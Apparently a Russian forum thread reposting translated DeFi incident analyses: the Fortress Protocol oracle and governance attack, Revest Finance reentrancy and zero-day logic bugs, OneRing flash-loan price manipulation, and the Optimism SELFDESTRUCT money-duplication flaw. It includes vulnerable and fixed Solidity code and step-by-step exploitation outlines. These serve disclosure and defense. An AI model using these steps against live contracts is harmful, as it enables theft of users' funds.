Created: 2022-06-15T10:39:30+0000
Last Post: 2022-06-15T10:39:30+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

1655288758121.png
Утром 9 мая средства Fortress Protocol были украдены из-за злонамеренной атаки. Основная причина атаки на протокол Fortress была связана с недостатком конструкции его контракта на управление и произвольным манипулированием оракулом Umbrella Network.

Fortress Protocol — это протокол кредитования DeFi, который работает в Binance Smart Chain. Адреса, вовлеченные в эту атаку, перечислены ниже:

Адрес злоумышленника:
https://bscscan.com/address/0xA6AF2872176320015f8ddB2ba013B38Cb35d22Ad

Хэш транзакции:
https://bscscan.com/tx/0x13d19809b19ac512da6d110764caee75e2157ea62cb70937c8d9471afcb061bf

Адрес контракта токена FTS:
https://bscscan.com/address/0x4437743ac02957068995c48e08465e0ee1769fbe

Детальный анализ

Установлено, что злоумышленники начали готовиться еще за 19 дней до совершения официальной атаки.
29 апреля злоумышленник получил 20 ETIH в сети Ethereum через TornadoCash и подключил 12,4 ETH к Binance Smart Chain с помощью cBridge.
$FTS — это токен управления Fortress Protocol, выпущенный 21 апреля 2022 года с общим количеством 10 000 000.
Из-за низкой цены $FTS злоумышленник потратил всего около 11,4 ETH на покупку примерно 400 000 токенов FTS, что составляет 4% от общего количества.
4 мая злоумышленник создал договор вредоносного предложения:

https://bscscan.com/address/0x0dB3B68c482b04c49cD64728AD5D6d9a7B8E43e6

Затем контракт предложения был добавлен в очередь предложений, Предложение 11.
У предложения был трехдневный период голосования, когда злоумышленники проголосовали за предложение, используя часть своих ранее приобретенных 400 000 токенов FTS за несколько часов до окончания голосования 7 мая.

0xc368afb2afc499e7ebb575ba3e717497385ef962b1f1922561bcb13f85336252;
0x83a4f8f52b8f9e6ff1dd76546a772475824d9aa5b953808dbc34d1f39250f29d

Как показано на рисунке ниже, контракт на управление требует выполнения двух условий для успешного прохождения предложения:

1655289011775.png

После завершения голосования предложение утверждается с двухдневным периодом ожидания до его реализации.
9 мая, через 2 дня, пользователь создал контракт на атаку и инициировал официальную атаку.
Контракт атаки выполняет вредоносное предложение следующим образом:
Изменить кредитное плечо токенов FTS с 0 до 0,7. Это позволяет злоумышленнику использовать 70% стоимости токенов FTS с кредитным плечом для кредитования активов в протоколе.
Fortress Protocol получает залоговую цену контракта:
https://bscscan.com/address/0x00fcF33BFa9e3fF791b2b819Ab2446861a318285
Как показано на рисунке ниже, цена каждого токена определяется через разные Oracle:

1655289130335.png
Среди них - ФНС, где цена получается от Umbrella Oracle:

https://bscscan.com/address/0xc11B687cd6061A6516E23769E4657b6EfA25d78E

Как показано на рисунке ниже, мы видим уязвимость в функции 'submit multi- signature price feed ' в Umbrella Oracle:

1655289245912.png

До тех пор, пока количество подписей превышает значение requiredSignatures, проверка того, имеет ли подписавший правильный канал для цены, не выполняется. Это позволяет злоумышленнику создать подпись с любой учетной записью, чтобы указать цену. После атаки Umbrella Network оперативно устранила уязвимость и обновила контракт:

https://bscscan.com/address/0x49D0D57cf6697b6a44050872CDb760945B710Aab

Новая функция отправки теперь проверяет разрешения подписывающей стороны:

1655289334228.png
Вернемся к самой атаке. Злоумышленник смог манипулировать машиной Oracle, чтобы установить очень высокую цену для FTS, чтобы он мог одолжить все токены, такие как BNB, USDC, USDT, BUSD, BTCB, ETH, LTC, XRP, ADA, DAI, DOT и SHIB.
Все эти токены были конвертированы примерно в три миллиона долларов США и подключены к сети Ethereum через Anyswap и cBridge. Затем USDT был конвертирован в ETH и DAI в сети Ethereum и переведен в TornadoCash.

Резюме

Эта атака использовала недостаток в протоколе управления и уязвимость в манипулировании ценами Oracle. При разработке контракта управления важно учитывать логику проектирования модели голосования с помощью токенов, чтобы ее можно было сделать таким образом, чтобы было трудно выполнить злонамеренную атаку. Помимо оценки децентрализованных oracle следует также уделить внимание совместимости внешних oracle с самим протоколом.

[Оригинал Атсюдава](https://slowmist.medium.com/slowmist-fortress-protocol- hack-analysis-19af24af723c)

Уязвимости Revest Finance: больше, чем повторный вход
ID: 67686ad7b4103b69df37995b
Thread ID: 68213
Created: 2022-06-06T08:23:51+0000
Last Post: 2022-06-06T08:23:51+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

27 марта 2022 года стейкинговый проект DeFi Revest Finance на Ethereum подвергся атаке из-за механизма обратного вызова ERC-1155. Были украдены токены на сумму около 2 миллионов долларов (а именно: BLOCKS, ECO, LYXe и RENA). Мы проанализировали атаку в первую очередь и Твиттере той ночью (UTC+8).

На самом деле, на момент написания статьи в Твиттере у нас все еще были некоторые сомнения относительно функции контракта Revest TokenVault. Мы изучили контракт, пытаясь понять его функциональность. Позже мы обнаружили, что существует еще одна критическая уязвимость нулевого дня , которую можно эксплуатировать гораздо более простым способом и которая может привести к таким же огромным потерям ( как и случившаяся атака ).
Затем мы немедленно связались с командой Revest Finance, и они быстро отреагировали и предложили обходной путь для устранения уязвимости. Убедившись, что уязвимость нельзя использовать, мы решили выпустить этот блог.

Следующая часть этого блога состоит из трех частей: механизм Revest Finance, исходная атака с повторным входом и **новая уязвимость нулевого дня. **

Что такое Revest Finance FNFT​

Финансовый невзаимозаменяемый токен (FNFT) Revest Finance делает возможной бездоверительную передачу будущих прав на заблокированные активы. Вход (контракт ) Revest предоставляет три разных интерфейса для FNFT путем блокировки базовых активов:

Контракт Revest соединяется с тремя другими контрактами для блокировки и разблокировки базовых активов.

Мы принимаем mintAddressLock в качестве примера для иллюстрации процесса создания FNFT.

1655132177600.png
Рисунок 1

1655132195800.png
Рисунок 2

Два приведенных выше рисунка в основном описывают, как создается, чеканится и сжигается FNFT. В частности, пользователь A блокирует 100 WETH в Revest Finance, который создает соответствующий FNFT с fnftIdкак 1. Наконец, он отчеканит 100 1-FNFT указанным получателям с указанными акциями.

Обратите внимание, что после разблокировки базового актива каждый 1-FNFT может быть сожжен для получения одного (1e18) WETH. Как показано на рисунке 2, пользователь B выводит 25 ( 1e18) WETH, сжигая 25 1-FNFT.

**Кроме того,Revest предоставляет еще один интерфейс с именем depositAdditionalToFNFT, который влечет за собой две уязвимости, которые будут обсуждаться далее. **

Сначала мы используем следующие два рисунка, чтобы описать нормальное использование этой функции.

1655132239300.png
Рисунок 3

1655132278100.png
Рисунок 4

Функция depositAdditionalToFNFTиспользуется для привязки дополнительных базовых активов к существующей блокировке (указанной параметром fnftId). Разумно (рисунок 3), он требует, чтобы указанное количество было таким же, как общее предложение указанного FNFT, а затем равномерно распределяет добавленные активы по каждому указанному FNFT.

В противном случае (рис. 4) создается новая блокировка с последним fnftId, сжигает указанное количество старых FNFT и чеканит указанное количество новых FNFT, а затем записывает новые блокировки depositAmountкак сумма старых замков depositAmountи указанную сумму, как показано в следующем коде.

Code:Copy to clipboard

// Now, we transfer to the token vault
if(fnft.asset != address(0)){
    IERC20(fnft.asset).safeTransferFrom(_msgSender(), vault, quantity * amount);
}ITokenVault(vault).handleMultipleDeposits(fnftId, newFNFTId, fnft.depositAmount + amount);emit FNFTAddionalDeposited(_msgSender(), newFNFTId, quantity, amount);

С depositAmount записанная в TokenVault , указывает количество базового актива, которое может вывести один указанный FNFT, эта операция переносит значение указанного количества старого FNFT из старого замка в новый замок. (указанное количество, превышающее общее предложение, отменит транзакцию)

Что такое уязвимость повторного входа​

В этой части мы проиллюстрируем, как работает атака с повторным входом, и обсудим основную причину и метод исправления.

1655132329600.png
Рисунок 5

1655132352000.png
Рисунок 6

1655132365800.png
Рисунок 7

Приведенные выше три рисунка в основном описывают весь процесс повторной атаки. В частности, злоумышленник сначала блокирует нулевой токен RENA, чтобы отчеканить 2 1-FNFT, которые не имеют значения. Во-вторых, злоумышленник снова блокирует нулевой токен RENA, но выпускает 360 000 2-FNFT, которые также не имеют ценности (сейчас). На последнем этапе злоумышленник повторно входит в Revest контракта DepositAdditionalToFNFT функцию FNFTHandler , унаследованный от стандарта токена ERC-1155, который depositAmountзамка с fnftIdкак 2 до обновления fnftId. В результате злоумышленник получает 360 001 2-FNFT с depositAmountкак 1e18, что означает, что он может вывести 360 001 * 1e18 RENA из TokenVault. Кроме того, единственная стоимость - 1e18 RENA.

Метод исправления

Коды Revest Finance полностью соответствуют классической схеме повторного входа: используйте fnftId-> внешний вызов с механизмом обратного вызова -> обновление fnftId. Поэтому самый простой способ решить проблемы — сломать шаблон. Код показан ниже:

Code:Copy to clipboard

function mint(
    address account,
    uint id,
    uint amount,
    bytes memory data
) external override onlyRevestController {
    require(amount > 0, "Invalid amount");
    require(supply[id] == 0, "Repeated mint for the same FNFT");
    supply[id] += amount;
    fnftsCreated += 1;
    _mint(account, id, amount, data);
}

Во-первых, он перемещает операцию обновления перед внешним вызовом ( _mint), что может избежать атаки.
Во-вторых, поскольку система не допускает чеканки с нулевым FNFT и повторной чеканки одной и той же FNFT, она добавляет две проверки, чтобы убедиться, что система работает должным образом, что может повысить безопасность системы.

Новая уязвимость нулевого дня​

При анализе кода Revest Finance функция handleMultipleDepositsв TokenVault нас смущает, код которого показан ниже.

Code:Copy to clipboard

function handleMultipleDeposits(
    uint fnftId,
    uint newFNFTId,
    uint amount
) external override onlyRevestController {
    require(amount >= fnfts[fnftId].depositAmount, 'E003');
    IRevest.FNFTConfig storage config = fnfts[fnftId];
    config.depositAmount = amount;
    mapFNFTToToken(fnftId, config);
    if(newFNFTId != 0) {
        mapFNFTToToken(newFNFTId, config);
    }
}

Во время вызова функции depositAdditionalToFNFT функция handleMultipleDeposits изменяет depositAmount старого замка или записывает его в новый. Когда newFNFTId равен нулю, она не записывает depositAmount нового замка, поскольку это операция добавления дополнительных активов к существующему замку.
Согласно нашему пониманию протокола, когда newFNFTId не равен нулю, нужно только записать сумму депозита нового замка и не нужно изменять сумму депозита старого. Однако код показывает, что он не только записывает DepositAmount нового замка, но и изменяет DepositAmount старого, что противоречит нашему пониманию.
Мы считаем, что это серьезная логическая уязвимость нулевого дня, и затем пишем PoC для проверки этого. Следующие три рисунка описывают, как работает PoC.

1655132385700.png
Рисунок 8

1655132398300.png
Рисунок 9

1655132410400.png
Рисунок 10

В частности, злоумышленник сначала блокирует ноль RENA, чтобы отчеканить 360 000 1-FNFT. После этого злоумышленник напрямую вызывает depositAdditionalToFNFTФункция для создания нового замка. Из-за уязвимости, TokenVaultдоговор неправильно изменяет depositAmountстарого замка с нуля до 1е18. В результате злоумышленник получает 359 999 1-FNFT на сумму 359 999 RENA. Очевидно, что PoC намного проще, чем реальная атака с повторным входом, поскольку она не требует повторного входа.

Обходной путь для устранения уязвимости​

Это логическая ошибка, и мы рекомендуем использовать следующий код для ее исправления.

Code:Copy to clipboard

function handleMultipleDeposits(
    uint fnftId,
    uint newFNFTId,
    uint amount
) external override onlyRevestController {
    require(amount >= fnfts[fnftId].depositAmount, 'E003');
    IRevest.FNFTConfig memory config = fnfts[fnftId];
    config.depositAmount = amount;
    if(newFNFTId != 0) {
        mapFNFTToToken(newFNFTId, config);
    } else {
        mapFNFTToToken(fnftId, config);
    }
}

Поскольку два уязвимых контракта: TokenVault и FNFTHandler хранят множество критических состояний, проект не может повторно развернуть TokenVault контракт FNFTHandler без миграции состояний. Чтобы избежать дальнейшей атаки на эту уязвимость, проект повторно развернул облегченную версию Revest контракта , которая отключает более сложные функции, чтобы уменьшить поверхности, доступные любому потенциальному злоумышленнику. После проверки обходного пути мы считаем, что облегченный Revest может смягчить возможные атаки, упомянутые в этом блоге.

Источник: <https://blocksecteam.medium.com/revest-finance-vulnerabilities- more-than-re-entrancy-1609957b742f>

Посмертный анализ инцидента OneRing
ID: 67686ad7b4103b69df37995c
Thread ID: 68210
Created: 2022-06-06T08:06:17+0000
Last Post: 2022-06-06T08:06:17+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

21 марта 2022 года, по данным SlowMist Intelligence Zone, OneRing Finance стала жертвой эксплойта, в результате которого были убытки на сумму более 1,4 миллиона долларов. Это наш посмертный анализ инцидента.

Релевантная информация

One Ring — это кросс-стабильная платформа оптимизатора доходности с несколькими цепочками. Инцидент произошел в сети fanthom из-за использования флэш-кредита для завышения цены их токенов Oshare.

Адрес злоумышленника:
0x12efed3512ea7b76f79bcde4a387216c7bce905e
Транзакция атаки: https://ftmscan.com/tx/0xca8dd33850e29cf138c8382e17a19e77d7331b57c7a8451648788bbb26a70145
Контракт злоумышленника:
0x6a6d593ed7458b8213fa71f1adc4a9e5fd0b5a58
Атакуемый контракт:
OneRingVault: 0xc06826f52f29b34c5d8b2c61abf844cebcf78abf

Корень проблемы

OneRing напрямую использует резервы в паре для расчета цены токена OShare. Злоумышленник смог вызвать проскальзывание цены, когда использовал операцию свопа на OneRingValut. Это привело к неожиданному увеличению резервов пары, что привело к повышению цены OShare для создания искусственного обеспечения.

Детальный анализ

1. Злоумышленник сначала создал контракт на заимствование 80 000 000 долларов США у Solidity через срочный кредит.

1655123120300.png

2. Конвертировал USDC в токены miMatic, курс обмена токена был 1:1.001109876698508218.

1655123154400.png

3. DepositSafe , чтобы внести 79 999 997 (80 079 997,00 долларов США) USDC в контракт.

1655123170400.png

1655123209600.png

Как вы можете видеть вфункции depositSafe есть функция _deposit , а она вызывается _doHardWorkAll. В рамках этой функции цикл for используется для конвертации всех депонированных USDC в другие токены.

1655123254800.png

Затем DepositSafe создает около 41 965 509,691846094312718922 токенов OShare для злоумышленника. Мы видим, что цена OSShare равна 1062758591235248117.

1655123298300.png

Курс обмена значительно изменился, когда злоумышленник использовал два USDC для повторного обмена на токены miMATIC после свопа, как показано на изображении ниже.

1655123348100.png

4. Глядя на вывода , мы видим, что она также вызывает getSharePrice из расчета цены OSShare.

1655123377800.png

Давайте пройдем по этому пути и посмотрим, куда он нас приведет:

1655123421900.png

Здесь balanceWithInvested , и мы видим, что она следует за функцией investedBalanceInUSD.

1655123455600.png

В конце концов, на getUSDBalanceFromUnderlyingBalance в конечном итоге влияет функция

1655123487800.png

В getUSDBalanceFromUnderlyingBalance мы видим, что функция использует для расчета значения двух токенов в контракте, _reserves0 и _reserves1. Из-за предыдущего свопа в пуле осталось большое количество USDC, поэтому в пуле осталось значительное количество USDC. Если количество USDC растет, _amount также будет расти, что приводит к увеличению текущей цены OSShare, полученной getSharePrice.

1655123517100.png

Глядя на рисунок ниже, мы видим, что текущая цена OShare составляет 1136563707735425848.

1655123575700.png

Далее, мы можем видеть из вывода ниже, что окончательная сумма вывода рассчитывается с помощью _withdraw.

1655123621000.png

После дополнительного расследования мы обнаружили, что _toWithdrawl также используется для расчета balanceWithInvested , что также вызывает рост цены.

1655123648100.png

Полученные 41 965 509 OSShare затем обмениваются на 8 153 475 010 1089 долларов США.

5. Наконец, они погасили кредит и сохранили разницу.

МистТрек

Согласно анализу MistTrack , злоумышленник обменял большую часть украденных средств на ETH и FTM. Затем они соединяют его обратно с Ethereum, прежде чем, наконец, внести более 521 ETH в TornadoCash. Первоначальные 0,1 Eth, использованные для финансирования смарт-контракта, также были переведены из TornadoCash.

На данный момент у хакера все еще есть около 45 000 долларов или около 15 ETH на его адрес ETH. Мы продолжим отслеживать и отслеживать любые перемещения с этого адреса.

1655123661100.png

Резюме

Этот инцидент был вызван мгновенным расчетом getUSDBalanceFromUnderlyingBalance в рамках MasterChefBaseStrategy контракта. Хакер использовал флэш-кредит, чтобы воспользоваться эксплойтом в контракте, который позволил им манипулировать ценой OShare. Команда безопасности SlowMist рекомендует проектам не использовать мгновенный расчет цен в будущем, чтобы избежать манипулирования ценами.

Переведена [ЭТА статья](https://slowmist.medium.com/post-mortem-analysis-of- onering-incident-d6166354e46e)

Исправления Optimism Infinite Money Duplication
ID: 67686ad7b4103b69df37995d
Thread ID: 68207
Created: 2022-06-06T06:17:03+0000
Last Post: 2022-06-06T06:17:03+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

1655122640100.png

Резюме ​

2 февраля белый хакер Джей Фриман ( Saurik ), известный разработкой Cydia , сообщил о критической уязвимости в протоколе Optimism — решении для масштабирования Layer 2 (L2) для Ethereum. Сама ошибка позволила бы злоумышленнику непрерывно копировать деньги в любой цепочке, используя уязвимость, обнаруженную в OVM 2.0.
За это раскрытие проект выплатил полную критическую сумму, указанную на странице вознаграждения за обнаружение ошибок Immunefi для Optimism: 2 000 042 доллара!

OVM эквивалентна спецификации виртуальной машины Ethereum (EVM). Это означает, что Optimism почти идентичен Ethereum и имеет ту же учетную запись и структуру состояния. Другими словами, все операции на Optimism работают так же, как и на Ethereum, за некоторыми небольшими исключениями.

Ошибка была обнаружена в одной из реализаций части логики выполнения EVM, т. е. в опкоде, который позволил бы потенциальному злоумышленнику напечатать неограниченное количество денег. Затем эти деньги можно было бы перевести из Optimism в Ethereum, что позволило бы хакеру украсть большие суммы денег.

Финансовые последствия были явно критическими — отсюда и полная выплата от Optimism. Команда быстро выпустила исправление после получения отчета и ответственно сообщила об ошибке всем форкам Optimism, включая Metis на Immunefi.

Ошибка была довольно сложной для понимания и трудной для обнаружения, поэтому вероятность эксплуатации была низкой. Но если бы кто-нибудь обнаружил эту ошибку до того, как Саурик ответственно сообщил о ней, последствия были бы огромными.

Вот почему важно иметь ориентированное на безопасность мышление для проекта и протокола. Даже проверенный код может содержать ошибки. Программы вознаграждения за обнаружение ошибок — это последняя линия защиты от действий черных шляп, поскольку они поощряются крупными вознаграждениями за обнаружение ошибок, а не их использованием.

Чтобы лучше понять ошибку и понять, почему ее можно было использовать, нам сначала нужно объяснить, что такое L2 и что такое OVM 2.0.

Введение в L2 ​

Текущая версия Ethereum имеет низкую пропускную способность транзакций и высокую задержку при обработке. Это означает, что транзакции являются медленными и непомерно дорогими из-за высокого спроса по сравнению с тем, что сеть может принять в любой момент времени.

Существует два основных типа решений масштабирования, предлагаемых для вышеуказанных проблем:

в цепочке относится к любым прямым изменениям, внесенным в цепочку блоков, таким как сегментация данных и сегментация выполнения в новой версии Ethereum 2.0.

вне цепочки относится к любым инновациям за пределами блокчейна, т. е. выполнение байт-кода транзакции происходит извне, а не в Ethereum. Эти решения называются L2, потому что уровень 2 работает над уровнем 1 (L1) (Ethereum) для оптимизации и ускорения обработки. Optimism — хорошо известный пример решения для масштабирования L2.

Optimism роллапы ​

Вместо того, чтобы выполнять и хранить все данные в Ethereum, где транзакции обрабатываются только с премией, мы решили хранить в Ethereum только сводку состояния L2. Это означает, что все фактические вычисления и хранение контрактов и данных выполняются на уровне L2. Таким образом, накопительные пакеты могут наследовать гарантии безопасности Ethereum, оставаясь при этом эффективным решением для масштабирования. Оптимистичные накопительные пакеты объединяют внебиржевые транзакции в пакеты (свертывают их), но они не содержат дополнительных доказательств, гарантирующих их достоверность. Эти пакеты «оптимистично» предполагают, что все транзакции действительны. Когда утверждения о состоянии L2 публикуются в цепочке, валидаторы пакетов могут оспорить утверждение, если они думают, что кто-то опубликовал неверное или злонамеренное состояние. Это называется «обнаружение мошенничества». Безопасность этой системы зависит от того, что валидатор размещает залог вместе со своим состоянием, которое аннулируется претендентом, если претендент может доказать, что состояние неверно.

Оптимизм ​

Optimism — это решение для масштабирования, основанное на концепции "optimistic rollups" что означает, что оно хранит сводку всех транзакций L2 в Ethereum. Оптимизм зависит от «доказательств ошибок», которые позволяют определить, является ли проверяемая транзакция неверной. Optimism обеспечивает отказоустойчивость с помощью OVM 2.0.

Прежде чем мы углубимся в OVM 2.0, важно понять разницу между выполнением и доказательством.

Выполнение означает продвижение состояния блокчейна путем выполнения транзакций внутри виртуальной машины. EVM имеет стековую архитектуру. Мы можем управлять стеком, используя коды операций , например ADD, SSTORE, MLOADи т. д. Когда смарт-контракты получают сообщение, запускается их байт-код EVM, что позволяет им обновлять свое состояние или даже отправлять дополнительные сообщения другим контрактам.

«Доказательство» — это просто действие по убеждению контрактов L1 в том, что состояние, полученное в результате выполнения некоторых транзакций, является правильным. Некоторые системы, основанные на EVM L1, полагаются на повторное выполнение спорного сегмента кода на L1 и сравнение результатов.

Подход Optimism к этому отличается от других решений масштабирования L2. Здесь выполнение и проверка выполняются вместе.

Если бы между Алисой и Бобом возник спор, рассматриваемая транзакция была бы повторно выполнена (воспроизведена) в цепочке L1. Но это создает некоторые потенциальные проблемы, поскольку мы не можем полагаться на то, что определенные коды операций возвращают одно и то же значение в цепочке L1 и цепочке L2. Некоторые из них, как BLOCKNUMBER, например, не будет давать такое же значение, потому что они полагаются на метаданные блокчейна или информацию с момента проверки ( а не с момента выполнения ).
Решение представляет собой механизм, который поможет сохранить контекст спорной транзакции на уровне L2 при ее проверке на уровне L1. Виртуальная машина Optimism (OVM 2.0) заменяет все контекстно-зависимые коды операций аналогами OVM, например ovmBLOCKNUMBER.
Как мы знаем, Optimism создал OVM 2.0, чтобы иметь эквивалент EVM с Ethereum. В этом отношении выполнение транзакции на Optimism похоже на выполнение транзакции на Ethereum: Optimism загружает состояние, применяет транзакцию к этому состоянию и записывает изменения состояния. Уровень транзакций данных индексирует каждый новый блок, и процесс повторяется.
Вместо этого OVM 1.0 решил хранить ETH в виде токенов ERC-20. Это вызвало некоторые проблемы у Optimism, так как сеть должна была поддерживать все, что работало на Ethereum, но было сломано из-за этого, например газовые токены. Когда OVM 2.0 был запущен, OVM 2.0 прекратил поддержку этой функции, но по- прежнему хранит все балансы для учетных записей пользователей в состоянии хранения контракта ERC-20. Компания Optimism модифицировала Geth , одну из трех исходных реализаций протокола Ethereum, для применения исправлений к StateDBдля хранения собственных балансов в состоянии хранения токенов ERC-20.
Это означает, что ETH по-прежнему представлен внутри как токен ERC-20 по адресу 0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000. Этот договор также называется OVM_ETH. В результате пользовательские балансы всегда будут нулевыми внутри дерева состояний (где Ethereum будет хранить баланс), а фактический баланс пользователя будет храниться в вышеупомянутом хранилище токена.
Флаг UsingOVM установлен с USING_OVM переменной окружения. Операции на StateDBкоторые влияют на баланс счета, затем перенаправляются с базового stateObject (который представляет отдельную учетную запись) в состояние хранения в OVM_ETH контракт, когда такой флаг оказывается активным.
Если вы хотите узнать больше о том, как именно работает Optimism, обратитесь к [официальной документации ](https://community.optimism.io/docs/how-optimism- works/#block-production)Optimism. В этом обзоре также объясняется, как работают производство блоков и транзакции. Это стоит прочитать!

Уязвимость ​

Прежде чем мы углубимся в детали уязвимости, нам нужно понять одну последнюю вещь: SELFDESTRUCT опкод.

Эта команда вызывает самоуничтожение контракта с удалением его объекта учетной записи. Основное преимущество этой команды заключается в том, что она позволяет легко удалять огромное количество «устаревших» состояний из активного набора блокчейна.

SelfDestruct​

Метод selfdestruct(address), который был переименован из suicide(address), уничтожает весь байт-код с адреса вызывающего контракта и переводит весь эфир на целевой адрес. Никакие функции (включая резервную) не вызываются, если целевой адрес также является контрактом.
Здесь важно отметить, что контракт (объект) уничтожается в конце транзакции, а это означает, что мы все еще можем выполнять операции с этим контрактом после вызова метода selfdestruct только если такие операции все еще находятся в той же транзакции.
После того, как selfdestruct был выполнен, оставшийся эфир, хранящийся по этому адресу, отправляется назначенной цели, а затем хранилище и код удаляются из состояния. Все вышеперечисленное обрабатывается клиентом Optimism, который является форком Geth . В реализации Optimism Geth мы можем найти кусок кода , который вызывает всю уязвимость.

1655122747400.png

Проблема заключается в изменении баланса счета после selfdestruct до 0.

stateObject.data.Balance = new(big.Int)

Проблема в том, что клиент Optimism обнуляет баланс непосредственно на stateObject вместо проверки UsingOVM и перенаправление модификации баланса на OVM_ETH контракт!Из-за этой ошибки, когда контракт selfdestructed, он передает баланс вызывающего контракта цели И попрежнему сохраняет исходный баланс. Мы модифицируем stateObject баланс и не обновляем собственные балансы в состоянии хранения токенов ERC20 ( OVM_ETH контракт)
Злоумышленник мог использовать эту ошибку для многократного увеличения баланса целевого контракта. selfdestructing который содержит эфир. После нескольких итераций злоумышленник может затем «обналичить» раздутый баланс эфира, тем самым создавая деньги из воздуха.

Вот пошаговое руководство, как это будет выглядеть:

  1. Создайте уязвимый контракт, содержащий две внутренние функции. Один с selfdestruct, а второй переводит остаток контракта вызывающей стороне. Функция с selfdestruct отправляет баланс контракта себе. Это завышает значение из-за ошибки в реализации Optimism Geth.
  2. Злоумышленник развертывает контракты и в конструкторе вызывает selfdestruct функция несколько раз в цикле
  3. После завершения цикла конструктор вызывает вторую внутреннюю функцию контракта для передачи завышенных средств злоумышленнику.
  4. Уязвимый контракт уничтожается в конце транзакции

Мы настоятельно рекомендуем прочитать сообщение в блоге Саурика о том, как он нашел ошибку, поскольку он глубоко погружается в историю уязвимостей Optimism. Он также показывает пример использования этой уязвимости.

Исправление уязвимости ​

Эта часть является переводом вот этой статьи.

Орхидея Наноплатежей, или как не запутаться в лианах ​

Что касается Orchid, то, хотя у меня нет официального/утвержденного титула, я «отвечаю за технологии». В частности, я реализовал все смарт-контракты Orchid, включая тот, который используется для «наноплатежей».
Хотя вдаваться в подробности об Orchid было бы отступлением, причина, по которой Orchid заботится об этом, заключается в том, что пользователи постепенно платят за доступ к сети крошечными платежами, плата за которые в противном случае была бы слишком высокой.
Наша интеграция наноплатежей, разработанная в первую очередь Дэвидом Саламоном, Джастином Шиком и мной, опирающаяся на работу, проделанную ранее Рональдом Л. Ривестом из Массачусетского технологического института и PepperCoin , амортизирует комиссии за транзакции для очень небольших переводов.
Хотя с течением времени наша система может амортизировать даже очень большие комиссии за транзакции, существуют побочные эффекты: размер платежей увеличивается, а количество платежей уменьшается, что приводит к более высокой дисперсии ожидаемого платежа по сравнению с фактическим.
Таким образом, Orchid интересно, когда люди создают новую, более дешевую технологию блокчейна, поскольку платежная инфраструктура Orchid по своей сути не привязана к какой-либо одной цепочке, и большая часть моей работы связана с изучением и оценкой новых вариантов.

Масштабирование уровня 2 ​

Orchid — это, в некотором смысле, то, что можно назвать «решением масштабирования уровня 2» : платежная система, которая работает как экосистема поверх другой платежной системы. В нашем случае мы реализуем то, что я иногда называю «вероятностным сведением». Наша система наноплатежей, безусловно, не единственный уровень 2, и, будучи в основном вне сети с вероятностным расчетом, она даже не является прототипом. Тем не менее, люди часто спорят о том, какую именно другую систему можно «рассматривать». Наиболее часто упоминаемыми решениями уровня 2 являются такие системы, как Optimism или zkSync : каждая из них является прототипом «оптимистического свертывания» и «свертывания с нулевым разглашением» (соответственно). Виталик (из Ethereum) написал обзор роллапов .
Интересно, что цифра «2» на уровне 2 иногда немного произвольна: решения уровня 2, которые не включают в себя передачу линейных объемов состояния на нижележащий уровень 1, часто могут компоноваться или складываться, позволяя нашим наноплатежам работать на другом уровне 2.

Перекрёстные мосты ​

Многие из крупнейших взломов, о которых мы слышим в криптографии, происходят с «мостами», контрактами и протоколами, которые позволяют пользователям одного блокчейна работать с активами в другом блокчейне. Они часто необходимы даже между L2 и его L1. Поскольку обычно на самом деле невозможно быть уверенным в «окончательности» — свойстве, которое транзакция однажды и действительно зафиксировала и никогда не будет отменена по какой-либо причине — в системах консенсуса блокчейна эти мосты чреваты неотъемлемым риском. Часто, в конце концов, они даже полагаются на доверенных третьих лиц для авторизации «снятия средств» (аналогично банкам, но прежде чем вы попытаетесь заявить, что «боже, они заново изобрели банки»: возможность без разрешения создавать банк является особенностью).
Механизм обычно включает в себя внесение денег в заблокированный резерв на одной стороне моста, а затем печать долговой расписки на другой / удаленной стороне, которую можно обменять, а затем выкупить, чтобы разблокировать часть ранее депонированных денег из резерва.

Все мосты рушатся ​

Когда мосты подвергаются атаке, как правило, кому-то удавалось обмануть смарт- контракт, который удерживает кучу денег, поддерживающих долговые расписки, чтобы неправильно их освободить, а это означает, что долговые расписки на другой стороне моста могут быть не погашены.
В тот же день, когда я сообщил Optimism об ошибке виртуальной машины, обсуждаемой в этой статье, кроссчейн-мост под названием Wormhole , который соединяет Ethereum с Solana [был взломан ](https://www.theverge.com/2022/2/3/22916111/wormhole-hack-github- error-325-million-theft-ethereum-solana), и кто-то ушел с эфиром на сумму около 325 миллионов долларов.
Удивительно, компания, которой принадлежала Wormhole, сразу же решила взять на себя ответственность за проблему и [возместила все деньги в резервы ](https://www.reuters.com/technology/crypto-network-wormhole-hit-with- possible-320-mln-hack-2022-02-03/). В случае предыдущего взлома Poly Network [хакеры вернули примерно 610 миллионов долларов ](https://www.reuters.com/technology/white-hat-hacker-has-returned-nearly- all-600-million-crypto-tokens-taken-tuesday-2021-08-12/) Я утверждаю, что взломы мостов, как правило, быстро замечаются, поскольку люди, управляющие мостом, обычно замечают, когда исчезают «их деньги» (которые они, конечно, должны другим людям). Решение проблемы предполагает замену украденного капитала.

После взлома ​

Даже когда хакеры крадут деньги с моста, последствия ограничены тем, что «это только деньги»: если вы крадете наличные из хранилища банка, это, безусловно, проблема для них, и любое «спасение» может быть очень дорогостоящим для них. И все же банк должен быть благодарен за то, что его записи о счетах в безопасности: если бы они больше не были уверены, кому что принадлежит или какие переводы были законными, а клиенты требовали противоречивых исправлений, возникший спор мог бы никогда не закончиться.
Здесь мы даже можем рассмотреть идею «страховых полисов» от крипто-взломов , особенно учитывая, что многие из этих мостов являются полуцентрализованными и могут заранее «смягчить» взлом, устраняя проблемы до того, как они приведут к убыткам.
Такое воровство также имеет тенденцию быть, возможно, удивительно бесплодным, поскольку связанные кошельки заносятся в [черный список различными биржами ](https://cointelegraph.com/news/over-10-000-blacklisted-btc- from-2016-bitfinex-hack-on-the-move)(что , как постулируют люди, вызовет проблемы в экосистеме в будущем, делая некоторые биткойны похожими на «кровавые алмазы» ).

Моя атака: необузданный оптимизм​

Представленная здесь ошибка, которую я называю «необузданный оптимизм», может быть (грубо) смоделирована как ошибка на дальней стороне «моста», но на самом деле это ошибка в виртуальной машине, которая выполняет смарт-контракты на оптимизме (необузданном оптимизме) вышеупомянутый накопительный пакет L2).
